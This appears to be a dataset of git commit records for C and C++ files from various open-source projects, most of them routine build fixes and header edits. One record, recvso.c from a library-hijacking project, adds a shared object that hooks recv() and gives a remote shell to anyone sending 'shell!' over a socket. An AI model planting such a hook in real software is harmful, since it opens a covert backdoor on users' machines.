{"commit":"07600df058267e8aaed6d68f0e5e52d7a4cd2ee6","old_file":"exercises\/small_tools\/categorize_csv.c","new_file":"exercises\/small_tools\/categorize_csv.c","old_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\/\/ Expects 5 arguments not including argv[0]\nint main(int argc, char *argv[])\n{\n  if (argc != 6) {\n    puts(\"Must enter 5 arguments: two categories and filename for the rest.\");\n    return 1;\n  }\n\n  printf(\"Received %i categories\", (argc - 2) \/ 2);\n\n  FILE *in = fopen(\"spooky.csv\", \"r\");\n  FILE *file1 = fopen(argv[2], \"w\");\n  FILE *file2 = fopen(argv[4], \"w\");\n  FILE *therest = fopen(argv[5], \"w\");\n\n  char line[80];\n  while (fscanf(in, \"%79[^\\n]\\n\", line) == 1) {\n    if (strstr(line, argv[1])) {\n      fprintf(file1, \"%s\\n\", line);\n    }\n    else if (strstr(line, argv[3])) {\n      fprintf(file2, \"%s\\n\", line);\n    }\n    else {\n      fprintf(therest, \"%s\\n\", line);\n    }\n  }\n  fclose(file1);\n  fclose(file2);\n  fclose(therest);\n  fclose(in);\n  return 1;\n}\n","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n\n\/\/ Expects 5 arguments not including argv[0]\nint main(int argc, char *argv[])\n{\n  if (argc != 6) {\n    puts(\"Must enter 5 arguments: two categories and filename for the rest.\");\n    return 1;\n  }\n\n  printf(\"Received %i categories\", (argc - 2) \/ 2);\n\n  FILE *in\n  if (!(in = fopen(\"spooky.csv\", \"r\"))) {\n    fprintf(stderr, \"Can't open the file 'spooky.csv'.\\n\");\n    return 2;\n  }\n\n  FILE *file1 = fopen(argv[2], \"w\");\n  FILE *file2 = fopen(argv[4], \"w\");\n  FILE *therest = fopen(argv[5], \"w\");\n\n\n\n  char line[80];\n  while (fscanf(in, \"%79[^\\n]\\n\", line) == 1) {\n    if (strstr(line, argv[1])) {\n      fprintf(file1, \"%s\\n\", line);\n    }\n    else if (strstr(line, argv[3])) {\n      fprintf(file2, \"%s\\n\", line);\n    }\n    else {\n      fprintf(therest, \"%s\\n\", line);\n    }\n  }\n  fclose(file1);\n  fclose(file2);\n  fclose(therest);\n  fclose(in);\n  return 1;\n}\n","subject":"Add error checking to opening of csv in small tool","message":"Add error checking to opening of csv in small tool\n","lang":"C","license":"mit","repos":"WomenWhoCode\/CProgrammingCurriculum"}
{"commit":"a002e0f3c38a46d65aa9c16a44d145959593cee1","old_file":"security\/nss\/macbuild\/NSSCommon.h","new_file":"security\/nss\/macbuild\/NSSCommon.h","old_contents":"\/* Defines common to all versions of NSS *\/\n\n#define NSPR20 1\n","new_contents":"\/* Defines common to all versions of NSS *\/\n\n#define NSPR20 1\n#define MP_API_COMPATIBLE 1\n\n","subject":"Add the MP_API_COMPATIBLE for Mac builds so that MPI libraries build correctly.","message":"Add the MP_API_COMPATIBLE for Mac builds so that MPI libraries build\ncorrectly.\n","lang":"C","license":"mpl-2.0","repos":"thespooler\/nss,thespooler\/nss,thespooler\/nss,thespooler\/nss,thespooler\/nss,thespooler\/nss,thespooler\/nss"}
{"commit":"dab86d05b6a7980c5899cb11ce14abee55ba717c","old_file":"p_libsupport.h","new_file":"p_libsupport.h","old_contents":"\/* Author: Mo McRoberts <mo.mcroberts@bbc.co.uk>\n *\n * Copyright 2015 BBC\n *\/\n\n\/*\n * Copyright 2013 Mo McRoberts.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#ifndef P_LIBSUPPORT_H_\n# define P_LIBSUPPORT_H_               1\n\n# define _BSD_SOURCE                   1\n# define _DARWIN_C_SOURCE              1\n# define _FILE_OFFSET_BITS             64\n\n# include <stdio.h>\n# include <stdlib.h>\n# include <stdarg.h>\n# include <string.h>\n# include <syslog.h>\n# include <unistd.h>\n# include <pthread.h>\n# include <ctype.h>\n\n# include \"iniparser.h\"\n\n# include \"libsupport.h\"\n\n#endif \/*!P_LIBSUPPORT_H_*\/\n","new_contents":"\/* Author: Mo McRoberts <mo.mcroberts@bbc.co.uk>\n *\n * Copyright 2015 BBC\n *\/\n\n\/*\n * Copyright 2013 Mo McRoberts.\n *\n *  Licensed under the Apache License, Version 2.0 (the \"License\");\n *  you may not use this file except in compliance with the License.\n *  You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n *  Unless required by applicable law or agreed to in writing, software\n *  distributed under the License is distributed on an \"AS IS\" BASIS,\n *  WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n *  See the License for the specific language governing permissions and\n *  limitations under the License.\n *\/\n\n#ifndef P_LIBSUPPORT_H_\n# define P_LIBSUPPORT_H_               1\n\n# include <stdio.h>\n# include <stdlib.h>\n# include <stdarg.h>\n# include <string.h>\n# include <syslog.h>\n# include <unistd.h>\n# include <pthread.h>\n# include <ctype.h>\n\n# include \"iniparser.h\"\n\n# include \"libsupport.h\"\n\n#endif \/*!P_LIBSUPPORT_H_*\/\n","subject":"Allow config.h or AM_CPPFLAGS to provide libc feature macros","message":"Allow config.h or AM_CPPFLAGS to provide libc feature macros\n","lang":"C","license":"apache-2.0","repos":"bbcarchdev\/libsupport,bbcarchdev\/libsupport,bbcarchdev\/libsupport"}
{"commit":"b878603f9122d058a3730dd6f716a0c03a7a64e4","old_file":"base\/mac\/launchd.h","new_file":"base\/mac\/launchd.h","old_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_MAC_LAUNCHD_H_\n#define BASE_MAC_LAUNCHD_H_\n#pragma once\n\n#include <launch.h>\n#include <sys\/types.h>\n\n#include <string>\n\nnamespace base {\nnamespace mac {\n\n\/\/ MessageForJob sends a single message to launchd with a simple dictionary\n\/\/ mapping |operation| to |job_label|, and returns the result of calling\n\/\/ launch_msg to send that message. On failure, returns NULL. The caller\n\/\/ assumes ownership of the returned launch_data_t object.\nlaunch_data_t MessageForJob(const std::string& job_label,\n                            const char* operation);\n\n\/\/ Returns the process ID for |job_label| if the job is running, 0 if the job\n\/\/ is loaded but not running, or -1 on error.\npid_t PIDForJob(const std::string& job_label);\n\n}  \/\/ namespace mac\n}  \/\/ namespace base\n\n#endif  \/\/ BASE_MAC_LAUNCHD_H_\n","new_contents":"\/\/ Copyright (c) 2012 The Chromium Authors. All rights reserved.\n\/\/ Use of this source code is governed by a BSD-style license that can be\n\/\/ found in the LICENSE file.\n\n#ifndef BASE_MAC_LAUNCHD_H_\n#define BASE_MAC_LAUNCHD_H_\n#pragma once\n\n#include <launch.h>\n#include <sys\/types.h>\n\n#include <string>\n\n#include \"base\/base_export.h\"\n\nnamespace base {\nnamespace mac {\n\n\/\/ MessageForJob sends a single message to launchd with a simple dictionary\n\/\/ mapping |operation| to |job_label|, and returns the result of calling\n\/\/ launch_msg to send that message. On failure, returns NULL. The caller\n\/\/ assumes ownership of the returned launch_data_t object.\nBASE_EXPORT\nlaunch_data_t MessageForJob(const std::string& job_label,\n                            const char* operation);\n\n\/\/ Returns the process ID for |job_label| if the job is running, 0 if the job\n\/\/ is loaded but not running, or -1 on error.\nBASE_EXPORT\npid_t PIDForJob(const std::string& job_label);\n\n}  \/\/ namespace mac\n}  \/\/ namespace base\n\n#endif  \/\/ BASE_MAC_LAUNCHD_H_\n","subject":"Add BASE_EXPORT macros to base ... again.","message":"Add BASE_EXPORT macros to base ... again.\n\nBUG=90078\nTEST=none\n\nReview URL: https:\/\/chromiumcodereview.appspot.com\/9959092\n\ngit-svn-id: de016e52bd170d2d4f2344f9bf92d50478b649e0@130367 0039d316-1c4b-4281-b951-d872f2087c98\n","lang":"C","license":"bsd-3-clause","repos":"adobe\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,adobe\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,yitian134\/chromium,ropik\/chromium,yitian134\/chromium,yitian134\/chromium,adobe\/chromium,adobe\/chromium,ropik\/chromium,yitian134\/chromium,ropik\/chromium,ropik\/chromium"}
{"commit":"8ba055509f9262fc728fe48414fb955907d5e544","old_file":"source\/fiber_tasking_lib\/memory.h","new_file":"source\/fiber_tasking_lib\/memory.h","old_contents":"\/* FiberTaskingLib - A tasking library that uses fibers for efficient task switching\n *\n * This library was created as a proof of concept of the ideas presented by\n * Christian Gyrling in his 2015 GDC Talk 'Parallelizing the Naughty Dog Engine Using Fibers'\n *\n * http:\/\/gdcvault.com\/play\/1022186\/Parallelizing-the-Naughty-Dog-Engine\n *\n * FiberTaskingLib is the legal property of Adrian Astley\n * Copyright Adrian Astley 2015\n *\/\n\n#pragma once\n\n#include <cstdint>\n#include \"fiber_tasking_lib\/config.h\"\n\n#if (defined( __GNUC__) || defined(__GNUG__)) && __GNUC__ < 5 && !defined(FTL_OS_MAC)\n\nnamespace std {\n\ninline void *align(size_t alignment, size_t size, void *start, size_t bufferSize) {\n\treturn (void *)((reinterpret_cast<uintptr_t>(start) + static_cast<uintptr_t>(alignment - 1)) & static_cast<uintptr_t>(~(alignment - 1)));\n}\n\n} \/\/ End of namespace std\n\n#endif\n","new_contents":"\/* FiberTaskingLib - A tasking library that uses fibers for efficient task switching\n *\n * This library was created as a proof of concept of the ideas presented by\n * Christian Gyrling in his 2015 GDC Talk 'Parallelizing the Naughty Dog Engine Using Fibers'\n *\n * http:\/\/gdcvault.com\/play\/1022186\/Parallelizing-the-Naughty-Dog-Engine\n *\n * FiberTaskingLib is the legal property of Adrian Astley\n * Copyright Adrian Astley 2015\n *\/\n\n#pragma once\n\n#include <cstdint>\n#include \"fiber_tasking_lib\/config.h\"\n\n\n\/\/ clang also defines __GNUC__ \/ __GNUG__ for some reason\n\/\/ So we have to check for it to make sure we have the *real* gcc\n#if ((defined(__GNUC__) && __GNUC__ < 5) || (defined(__GNUG__) && __GNUG__ < 5)) && !defined(__clang__)\n\nnamespace std {\n\ninline void *align(size_t alignment, size_t size, void *start, size_t bufferSize) {\n\treturn (void *)((reinterpret_cast<uintptr_t>(start) + static_cast<uintptr_t>(alignment - 1)) & static_cast<uintptr_t>(~(alignment - 1)));\n}\n\n} \/\/ End of namespace std\n\n#endif\n","subject":"Clarify what systems need std::align definition","message":"FIBER_TASKING_LIB: Clarify what systems need std::align definition\n","lang":"C","license":"apache-2.0","repos":"jklarowicz\/FiberTaskingLib,jklarowicz\/FiberTaskingLib,jklarowicz\/FiberTaskingLib"}
{"commit":"63b8a434dc46efa3fd53e85bad9121da8f690889","old_file":"tools\/gpu\/vk\/VkTestUtils.h","new_file":"tools\/gpu\/vk\/VkTestUtils.h","old_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef VkTestUtils_DEFINED\n#define VkTestUtils_DEFINED\n\n#ifdef SK_VULKAN\n\n#include \"vk\/GrVkDefines.h\"\n\nnamespace sk_gpu_test {\n    bool LoadVkLibraryAndGetProcAddrFuncs(PFN_vkGetInstanceProcAddr*, PFN_vkGetDeviceProcAddr*);\n}\n\n#endif\n#endif\n\n","new_contents":"\/*\n * Copyright 2017 Google Inc.\n *\n * Use of this source code is governed by a BSD-style license that can be\n * found in the LICENSE file.\n *\/\n\n#ifndef VkTestUtils_DEFINED\n#define VkTestUtils_DEFINED\n\n#include \"SkTypes.h\"\n\n#ifdef SK_VULKAN\n\n#include \"vk\/GrVkDefines.h\"\n\nnamespace sk_gpu_test {\n    bool LoadVkLibraryAndGetProcAddrFuncs(PFN_vkGetInstanceProcAddr*, PFN_vkGetDeviceProcAddr*);\n}\n\n#endif\n#endif\n\n","subject":"Fix VkTextUtils to include SkTypes before ifdef","message":"Fix VkTextUtils to include SkTypes before ifdef\n\nBug: skia:\nChange-Id: I4286f0e15ee427345d7d793760c85c9743fc4c6c\nReviewed-on: https:\/\/skia-review.googlesource.com\/70200\nReviewed-by: Derek Sollenberger <d9b232705cad36bae5cfccf14f9650bb292e6c71@google.com>\nCommit-Queue: Greg Daniel <39df0a804564ccb6cf75f18db79653821f37c1c5@google.com>\n","lang":"C","license":"bsd-3-clause","repos":"rubenvb\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,google\/skia,rubenvb\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,google\/skia,rubenvb\/skia,rubenvb\/skia,rubenvb\/skia,HalCanary\/skia-hc,google\/skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,HalCanary\/skia-hc,rubenvb\/skia,google\/skia,google\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,aosp-mirror\/platform_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,HalCanary\/skia-hc,HalCanary\/skia-hc,HalCanary\/skia-hc,rubenvb\/skia,rubenvb\/skia,rubenvb\/skia,Hikari-no-Tenshi\/android_external_skia,google\/skia,google\/skia,Hikari-no-Tenshi\/android_external_skia,aosp-mirror\/platform_external_skia"}
{"commit":"6cca95f3056c42c82f0f182c810a242dde893de5","old_file":"test\/profile\/instrprof-darwin-exports.c","new_file":"test\/profile\/instrprof-darwin-exports.c","old_contents":"","new_contents":"\/\/ REQUIRES: osx-ld64-live_support\n\n\/\/ Compiling with PGO\/code coverage on Darwin should raise no warnings or errors\n\/\/ when using an exports list.\n\n\/\/ RUN: echo \"_main\" > %t.exports\n\/\/ RUN: %clang_pgogen -Werror -Wl,-exported_symbols_list,%t.exports -o %t %s 2>&1 | tee %t.log\n\/\/ RUN: %clang_profgen -Werror -fcoverage-mapping -Wl,-exported_symbols_list,%t.exports -o %t %s 2>&1 | tee -a %t.log\n\/\/ RUN: cat %t.log | count 0\n\nint main() {}\n","subject":"Add an integration test for PGO + symbol exports","message":"[Darwin] Add an integration test for PGO + symbol exports\n\nrdar:\/\/41470205\n\ngit-svn-id: c199f293c43da69278bea8e88f92242bf3aa95f7@335891 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt,llvm-mirror\/compiler-rt"}
{"commit":"3057d837d3f50cd1651540e71ff6bbfbb06be9e2","old_file":"src\/main.c","new_file":"src\/main.c","old_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include \"amath.h\"\n\n#define BUF_SIZE\t1024\n\nint main(int argc, char *argv[])\n{\n\tchar buffer[BUF_SIZE];\n\tchar *content = \"\";\n\n\twhile (fgets(buffer, BUF_SIZE, stdin))\n\t\tasprintf(&content, \"%s%s\", content, buffer);\n\n\tchar *result = amath_to_mathml(content);\n\tprintf(\"<math>%s<\/math>\", result);\n\n\tif (strlen(result) > 0) free(result);\n\tif (strlen(content) > 0) free(content);\n}\n","new_contents":"#include <stdlib.h>\n#include <stdio.h>\n#include <string.h>\n#include \"amath.h\"\n\n#define BUF_SIZE\t1024\n\nint main(int argc, char *argv[])\n{\n\tchar buffer[BUF_SIZE];\n\tchar *content = \"\";\n\n\twhile (fgets(buffer, BUF_SIZE, stdin))\n\t\tasprintf(&content, \"%s%s\", content, buffer);\n\n\tchar *result = amath_to_mathml(content);\n\tprintf(\"<math xmlns=\\\"http:\/\/www.w3.org\/1998\/Math\/MathML\\\">%s<\/math>\", result);\n\n\tif (strlen(result) > 0) free(result);\n\tif (strlen(content) > 0) free(content);\n}\n","subject":"Add XML namespace to math element","message":"Add XML namespace to math element\n\nThe MathML XML namespace isn't needed in context of HTML5 (and I find it a bit verbose), but are used in other applications, e.g. LibreOffice's \"Import MathML from Clipboard\". Probably should be an command line argument.","lang":"C","license":"isc","repos":"camoy\/amath,camoy\/amath,camoy\/amath"}
{"commit":"794dd1d5bb860fc2a4a0aaf93c19c105d62b8501","old_file":"linux_tests32\/recvso.c","new_file":"linux_tests32\/recvso.c","old_contents":"","new_contents":"#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <unistd.h>\n#include <dlfcn.h>\n#include <unistd.h>\n\n#include <sys\/types.h>\n#include <sys\/socket.h>\n#include <netinet\/in.h>\n#include <netdb.h>\n#include <arpa\/inet.h>\n#include <signal.h>\n\n\nstatic void *dl;\nssize_t (*orig_recv)(int, void *, size_t, int);\n\n__attribute__((constructor)) void stub(void)\n{\n\tdl = dlopen(\"\/lib\/libc.so.6\", RTLD_LAZY | RTLD_GLOBAL);\n\torig_recv = dlsym(dl, \"recv\");\n\t\n}\n\nvoid sigchld(int signo)\n{\n\twhile (waitpid(-1, NULL, WNOHANG) > 0)\n\t\t;\n}\n\n\/*\n * socket() is the hijacked function in libc\n * To make this more malicious, one could hijack recv()\/send() as well.\n * The majority of the code in my malicious socket() has been ripped\n * right from Beej's Guide to Network Programming. Thanks Beej!\n *\/\nssize_t recv(int socket, void *buffer, size_t length, int flags)\n{\n\tssize_t ret;\n\tFILE *fp;\n\tchar filename[1024+1];\n\t\n\tret = orig_recv(socket, buffer, length, flags);\n\tif (ret < strlen(\"shell!\\n\"))\n\t\treturn ret;\n\tif (memcmp(buffer, \"shell!\", strlen(\"shell!\")))\n\t\treturn ret;\n\t\n\tif (fork())\n\t\treturn -1;\n\tsetsid();\n\tif (fork())\n\t\treturn 0;\n\t\n\tdup2(socket, fileno(stdin));\n\tdup2(socket, fileno(stdout));\n\tdup2(socket, fileno(stderr));\n\texecl(\"\/bin\/sh\", \"sh\", NULL);\n\t\n\treturn -1;\n}\n","subject":"Add a new shared object.","message":"Add a new shared object.\n","lang":"C","license":"bsd-2-clause","repos":"sigma-random\/libhijack,SoldierX\/libhijack,sigma-random\/libhijack"}
{"commit":"cf1785d9d4401e4db061f3e334625a406a7b09cf","old_file":"deps\/spdylay-configs\/spdylay\/spdylayver.h","new_file":"deps\/spdylay-configs\/spdylay\/spdylayver.h","old_contents":"","new_contents":"\/*\n * Spdylay - SPDY Library\n *\n * Copyright (c) 2012 Tatsuhiro Tsujikawa\n *\n * Permission is hereby granted, free of charge, to any person obtaining\n * a copy of this software and associated documentation files (the\n * \"Software\"), to deal in the Software without restriction, including\n * without limitation the rights to use, copy, modify, merge, publish,\n * distribute, sublicense, and\/or sell copies of the Software, and to\n * permit persons to whom the Software is furnished to do so, subject to\n * the following conditions:\n *\n * The above copyright notice and this permission notice shall be\n * included in all copies or substantial portions of the Software.\n *\n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND,\n * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF\n * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND\n * NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE\n * LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION\n * OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION\n * WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n *\/\n#ifndef SPDYLAYVER_H\n#define SPDYLAYVER_H\n\n\/**\n * @macro\n * Version number of the Spdylay library release\n *\/\n#define SPDYLAY_VERSION \"0.1.0\"\n\n#endif \/* SPDYLAYVER_H *\/\n","subject":"Update build and keep a static version file","message":"Update build and keep a static version file\n","lang":"C","license":"apache-2.0","repos":"pquerna\/spedye,pquerna\/spedye"}
{"commit":"957be0e8669162fb7b5718350fff049b2d30b5d7","old_file":"clangd\/DocumentStore.h","new_file":"clangd\/DocumentStore.h","old_contents":"\/\/===--- DocumentStore.h - File contents container --------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_TOOLS_EXTRA_CLANGD_DOCUMENTSTORE_H\n#define LLVM_CLANG_TOOLS_EXTRA_CLANGD_DOCUMENTSTORE_H\n\n#include \"clang\/Basic\/LLVM.h\"\n#include \"llvm\/ADT\/StringMap.h\"\n#include <string>\n\nnamespace clang {\nnamespace clangd {\n\n\/\/\/ A container for files opened in a workspace, addressed by URI. The contents\n\/\/\/ are owned by the DocumentStore.\nclass DocumentStore {\npublic:\n  \/\/\/ Add a document to the store. Overwrites existing contents.\n  void addDocument(StringRef Uri, StringRef Text) { Docs[Uri] = Text; }\n  \/\/\/ Delete a document from the store.\n  void removeDocument(StringRef Uri) { Docs.erase(Uri); }\n  \/\/\/ Retrieve a document from the store. Empty string if it's unknown.\n  StringRef getDocument(StringRef Uri) const { return Docs.lookup(Uri); }\n\nprivate:\n  llvm::StringMap<std::string> Docs;\n};\n\n} \/\/ namespace clangd\n} \/\/ namespace clang\n\n#endif\n","new_contents":"\/\/===--- DocumentStore.h - File contents container --------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#ifndef LLVM_CLANG_TOOLS_EXTRA_CLANGD_DOCUMENTSTORE_H\n#define LLVM_CLANG_TOOLS_EXTRA_CLANGD_DOCUMENTSTORE_H\n\n#include \"clang\/Basic\/LLVM.h\"\n#include \"llvm\/ADT\/StringMap.h\"\n#include <string>\n\nnamespace clang {\nnamespace clangd {\n\n\/\/\/ A container for files opened in a workspace, addressed by URI. The contents\n\/\/\/ are owned by the DocumentStore.\nclass DocumentStore {\npublic:\n  \/\/\/ Add a document to the store. Overwrites existing contents.\n  void addDocument(StringRef Uri, StringRef Text) { Docs[Uri] = Text; }\n  \/\/\/ Delete a document from the store.\n  void removeDocument(StringRef Uri) { Docs.erase(Uri); }\n  \/\/\/ Retrieve a document from the store. Empty string if it's unknown.\n  StringRef getDocument(StringRef Uri) const {\n    auto I = Docs.find(Uri);\n    return I == Docs.end() ? StringRef(\"\") : StringRef(I->second);\n  }\n\nprivate:\n  llvm::StringMap<std::string> Docs;\n};\n\n} \/\/ namespace clangd\n} \/\/ namespace clang\n\n#endif\n","subject":"Fix subtle use after return.","message":"[clangd] Fix subtle use after return.\n\nI didn't find this because my main development machine still happens to\nuse libstdc++ with the broken C++11 ABI, which has a global empty\nstring.\n\ngit-svn-id: a34e9779ed74578ad5922b3306b3d80a0c825546@294309 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"apache-2.0","repos":"llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra,llvm-mirror\/clang-tools-extra"}
{"commit":"21c4bbc85ab4f1ce35152e3a1c769663db23ca3f","old_file":"android\/android_api\/base\/jni\/JniOnMQSubscribeListener.h","new_file":"android\/android_api\/base\/jni\/JniOnMQSubscribeListener.h","old_contents":"\/* ****************************************************************\n *\n * Copyright 2016 Samsung Electronics All Rights Reserved.\n *\n *\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ******************************************************************\/\n\n#include \"JniOcStack.h\"\n\n#ifndef _Included_org_iotivity_base_OcResource_OnMQSubscribeListener\n#define _Included_org_iotivity_base_OcResource_OnMQSubscribeListener\n\n#define MAX_SEQUENCE_NUMBER 0xFFFFFF\n\nusing namespace OC;\n\nclass JniOcResource;\n\nclass JniOnMQSubscribeListener\n{\npublic:\n    JniOnMQSubscribeListener(JNIEnv *env, jobject jListener, JniOcResource* owner);\n    ~JniOnMQSubscribeListener();\n    void onSubscribeCallback(const HeaderOptions headerOptions, const OCRepresentation& rep,\n        const int& eCode, const int& sequenceNumber);\nprivate:\n    jweak m_jwListener;\n    JniOcResource* m_ownerResource;\n    void checkExAndRemoveListener(JNIEnv *env);\n};\n\n#endif\n","new_contents":"\/* ****************************************************************\n *\n * Copyright 2016 Samsung Electronics All Rights Reserved.\n *\n *\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http:\/\/www.apache.org\/licenses\/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n *\n ******************************************************************\/\n\n#include \"JniOcStack.h\"\n\n#ifndef _Included_org_iotivity_base_OcResource_OnMQSubscribeListener\n#define _Included_org_iotivity_base_OcResource_OnMQSubscribeListener\n\nusing namespace OC;\n\nclass JniOcResource;\n\nclass JniOnMQSubscribeListener\n{\npublic:\n    JniOnMQSubscribeListener(JNIEnv *env, jobject jListener, JniOcResource* owner);\n    ~JniOnMQSubscribeListener();\n    void onSubscribeCallback(const HeaderOptions headerOptions, const OCRepresentation& rep,\n        const int& eCode, const int& sequenceNumber);\nprivate:\n    jweak m_jwListener;\n    JniOcResource* m_ownerResource;\n    void checkExAndRemoveListener(JNIEnv *env);\n};\n\n#endif\n","subject":"Remove build warning realted MQ in android JNI.","message":"Remove build warning realted MQ in android JNI.\n\nThere is a redefined proprocessor in JniOnMQSubscribeListener.h\nsince octypes.h has it. it should be removed\n\n------------------------------warning---------------------------------------\njni\/JniOnMQSubscribeListener.h:26:0: warning: \"MAX_SEQUENCE_NUMBER\" redefined\n #define MAX_SEQUENCE_NUMBER 0xFFFFFF\n----------------------------------------------------------------------------\n\nChange-Id: If57b79b963d700459a59d2fb8704a60ad019e838\nSigned-off-by: jihwan.seo <69598d7552022c520cfdbefd16641727c7ff4ab5@samsung.com>\nReviewed-on: https:\/\/gerrit.iotivity.org\/gerrit\/12857\nTested-by: jenkins-iotivity <09cb29e8a2b473a2c978382eec13ee06fa017bda@opendaylight.org>\nReviewed-by: Larry Sachs <87b901be7a441bcf97cbe259c532df419aac788e@intel.com>\nReviewed-by: Rick Bell <74cf0087f675c7c2d5c6f65986a0832071d4b512@intel.com>\n","lang":"C","license":"apache-2.0","repos":"iotivity\/iotivity,rzr\/iotivity,rzr\/iotivity,iotivity\/iotivity,iotivity\/iotivity,rzr\/iotivity,iotivity\/iotivity,iotivity\/iotivity,rzr\/iotivity,rzr\/iotivity,rzr\/iotivity,rzr\/iotivity,iotivity\/iotivity,iotivity\/iotivity,iotivity\/iotivity"}
{"commit":"735b05cf0afe8aff15925202b65834d9d81e6498","old_file":"Settings\/Controls\/Control.h","new_file":"Settings\/Controls\/Control.h","old_contents":"#pragma once\n\n#include <Windows.h>\n#include <functional>\n#include <string>\n\nclass Control {\npublic:\n    Control();\n    Control(int id, HWND parent);\n    ~Control();\n\n    RECT Dimensions();\n\n    void Enable();\n    void Disable();\n    bool Enabled();\n    void Enabled(bool enabled);\n\n    std::wstring Text();\n    int TextAsInt();\n    bool Text(std::wstring text);\n    bool Text(int value);\n\n    void WindowExStyle();\n    void WindowExStyle(long exStyle);\n    void AddWindowExStyle(long exStyle);\n    void RemoveWindowExStyle(long exStyle);\n\n    \/\/\/ <summary>Handles WM_COMMAND messages.<\/summary>\n    \/\/\/ <param name=\"nCode\">Control-defined notification code<\/param>\n    virtual DLGPROC Command(unsigned short nCode);\n\n    \/\/\/ <summary>Handles WM_NOTIFY messages.<\/summary>\n    \/\/\/ <param name=\"nHdr\">Notification header structure<\/param>\n    virtual DLGPROC Notification(NMHDR *nHdr);\n\nprotected:\n    int _id;\n    HWND _hWnd;\n    HWND _parent;\n\nprotected:\n    static const int MAX_EDITSTR = 0x4000;\n};","new_contents":"#pragma once\n\n#include <Windows.h>\n#include <functional>\n#include <string>\n\nclass Control {\npublic:\n    Control();\n    Control(int id, HWND parent);\n    ~Control();\n\n    virtual RECT Dimensions();\n\n    virtual void Enable();\n    virtual void Disable();\n    virtual bool Enabled();\n    virtual void Enabled(bool enabled);\n\n    virtual std::wstring Text();\n    virtual int TextAsInt();\n    virtual bool Text(std::wstring text);\n    virtual bool Text(int value);\n\n    void WindowExStyle();\n    void WindowExStyle(long exStyle);\n    void AddWindowExStyle(long exStyle);\n    void RemoveWindowExStyle(long exStyle);\n\n    \/\/\/ <summary>Handles WM_COMMAND messages.<\/summary>\n    \/\/\/ <param name=\"nCode\">Control-defined notification code<\/param>\n    virtual DLGPROC Command(unsigned 